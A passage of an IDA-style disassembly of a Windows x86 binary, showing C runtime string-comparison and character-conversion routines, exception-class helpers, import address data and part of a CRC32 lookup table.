					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2650431h
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBED4, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBED4
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC060, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC060, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB8DC
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC060, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC060
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBEE4
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28410E3h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28410E3h
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CECC
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC064
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	near ptr 260007Fh
		nop
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB8DC
		push	esi
		push	edi
		nop
		call	near ptr 26006B4h
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC064, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 260007Fh
		nop
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBEE4
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 28410E3h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 28410E3h
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBED4


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26006B4h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25E0000h, 25F0000h, 25F0B09h, 25F0B6Ch, 2600000h, 260007Fh
		dd 26006B4h, 2610000h, 2610501h, 26106F3h, 2620000h, 26202B0h
dword_427030	dd 26202D4h		; DATA XREF: ___:004239E2r
		dd 262033Dh, 2620600h, 2620633h, 262073Eh, 2630000h, 2640000h
		dd 2650000h, 2650431h, 26509E9h, 26509FDh, 2660000h, 2660605h
dword_427064	dd 26609E2h		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 2660B7Ah		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 2660C52h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2670000h, 2670343h, 2680000h
dword_427080	dd 26803E7h		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 2680456h		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 2680664h
dword_42708C	dd 268075Ah		; DATA XREF: sub_419C09+B9r
		dd 2680E5Dh
dword_427094	dd 2680E92h		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 2690000h		; DATA XREF: ___:loc_4013DCr
		dd 2690328h, 26904CBh
dword_4270A4	dd 269058Bh		; DATA XREF: sub_409909+2r
		dd 269071Eh, 26907E3h
dword_4270B0	dd 2690E78h		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26A0000h		; DATA XREF: sub_4116D6:loc_4117C2r
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 1, 6Ah, 2
		dd 26A0E01h
dword_4270C0	dd 26B0000h		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26B031Ch		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26C0000h, 26D0000h, 26D0501h, 26E0000h, 77F7E300h, 77F7E21Fh
		dd 26E0540h, 26E068Ch
dword_4270E8	dd 26F0000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 2700000h		; DATA XREF: sub_4119F9+Br
		dd 2710000h, 2720000h
dword_4270F8	dd 272077Bh		; DATA XREF: sub_4187E0+36r
		dd 2720A1Ah, 2730000h
dword_427104	dd 273064Dh		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2740000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 2750000h, 2760000h, 2760AB9h, 2770000h, 27706EDh, 2780000h
		dd 2790000h, 27A0000h, 27A0BD6h, 27A0EB8h, 27B0000h, 27B0175h
		dd 27B03E8h, 27B074Eh, 27C0000h
dword_427148	dd 27C031Dh		; DATA XREF: sub_4172C1+BCr
		dd 27D0000h
dword_427150	dd 27E0000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 27E0AF6h		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 27E0B59h
dword_42715C	dd 27E0DF2h		; DATA XREF: sub_41761C+56r
		dd 27F0000h, 2800000h, 2810000h, 2810676h, 2820000h, 28203EAh
		dd 2820551h, 2830000h, 283068Ah, 2840000h
dword_427188	dd 28410E3h		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2850000h, 285049Eh, 28508D5h, 2850BBEh, 2860000h, 2870000h
		dd 2880000h, 2890000h, 28919E6h, 2891A17h, 28A0000h, 28A0CF7h
		dd 28B0000h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
